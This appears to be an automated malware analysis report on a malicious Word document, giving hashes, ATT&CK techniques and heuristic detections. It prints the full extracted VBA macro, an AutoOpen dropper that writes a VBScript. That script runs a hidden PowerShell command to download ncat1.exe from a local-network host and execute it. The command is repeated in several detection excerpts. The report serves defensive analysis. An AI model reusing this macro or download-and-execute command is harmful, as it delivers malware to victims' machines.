Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b23d7951d85ac470…

MALICIOUS

Office (OOXML)

19.1 KB Created: 2021-06-03 08:31:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13
MD5: 8606f0aeb3704ed1c93dd38bc1ed5fb3 SHA-1: 88e2a777d5bb964ce234f6b8aab3f67e0e839d57 SHA-256: b23d7951d85ac47086a7a095140de4966d399510b9a3c4bb8021091d53716f49
470 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that execute upon opening, specifically within the AutoOpen subroutine. These macros construct a VBScript file at 'C:\Users\win\Desktop\MyFile1.vbs'. This script then uses PowerShell to download a second-stage executable ('ncat1.exe') from 'http://192.168.2.120/ncat1.exe' and subsequently executes it. The use of WScript.Shell, Shell(), and PowerShell references, along with the creation of an executable file, strongly indicates a downloader or dropper functionality.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         Close PayFile
     Shell "wscript.exe C:\Users\win\Desktop\MyFile1.vbs"
End Sub
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
         Print #PayFile, "Set objShell = CreateObject(""WScript.Shell"")"
     Print #PayFile, "objShell.Run ""Powershell.exe -executionpolicy bypass –WindowStyle Hidden  -IEX (New-Object Net.WebClient).DownloadFile('http://192.168.2.120/ncat1.exe','c:\Users\win\ncat1.exe');Start-Process 'c:\Users\win\ncat1.exe'"""
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
         Print #PayFile, "Set objShell = CreateObject(""WScript.Shell"")"
     Print #PayFile, "objShell.Run ""Powershell.exe -executionpolicy bypass –WindowStyle Hidden  -IEX (New-Object Net.WebClient).DownloadFile('http://192.168.2.120/ncat1.exe','c:\Users\win\ncat1.exe');Start-Process 'c:\Users\win\ncat1.exe'"""
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
         Close PayFile
     Shell "wscript.exe C:\Users\win\Desktop\MyFile1.vbs"
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         Print #PayFile, "Set objShell = CreateObject(""WScript.Shell"")"
     Print #PayFile, "objShell.Run ""Powershell.exe -executionpolicy bypass –WindowStyle Hidden  -IEX (New-Object Net.WebClient).DownloadFile('http://192.168.2.120/ncat1.exe','c:\Users\win\ncat1.exe');Start-Process 'c:\Users\win\ncat1.exe'"""
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Dim PayFile As Integer
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.2.120/ncat1.exe In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 942 bytes
SHA-256: d54703cfd404c2f43fcc5e966e6cbfc3e81efff4212d9fd32f130a9cbcc93d5a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Dim PayFile As Integer
    Dim FilePath As String
     FilePath = "C:\Users\win\Desktop\MyFile1.vbs"
     PayFile = FreeFile
     Open FilePath For Output As PayFile
     
     Print #PayFile, "Set objShell = CreateObject(""WScript.Shell"")"
     Print #PayFile, "objShell.Run ""Powershell.exe -executionpolicy bypass –WindowStyle Hidden  -IEX (New-Object Net.WebClient).DownloadFile('http://192.168.2.120/ncat1.exe','c:\Users\win\ncat1.exe');Start-Process 'c:\Users\win\ncat1.exe'"""
     
   
     
     Close PayFile
     Shell "wscript.exe C:\Users\win\Desktop\MyFile1.vbs"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23552 bytes
SHA-256: 9d1c1c2f80f8b80fba13828fae90bb335096bef15aa9160b18629c41086d1e73
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.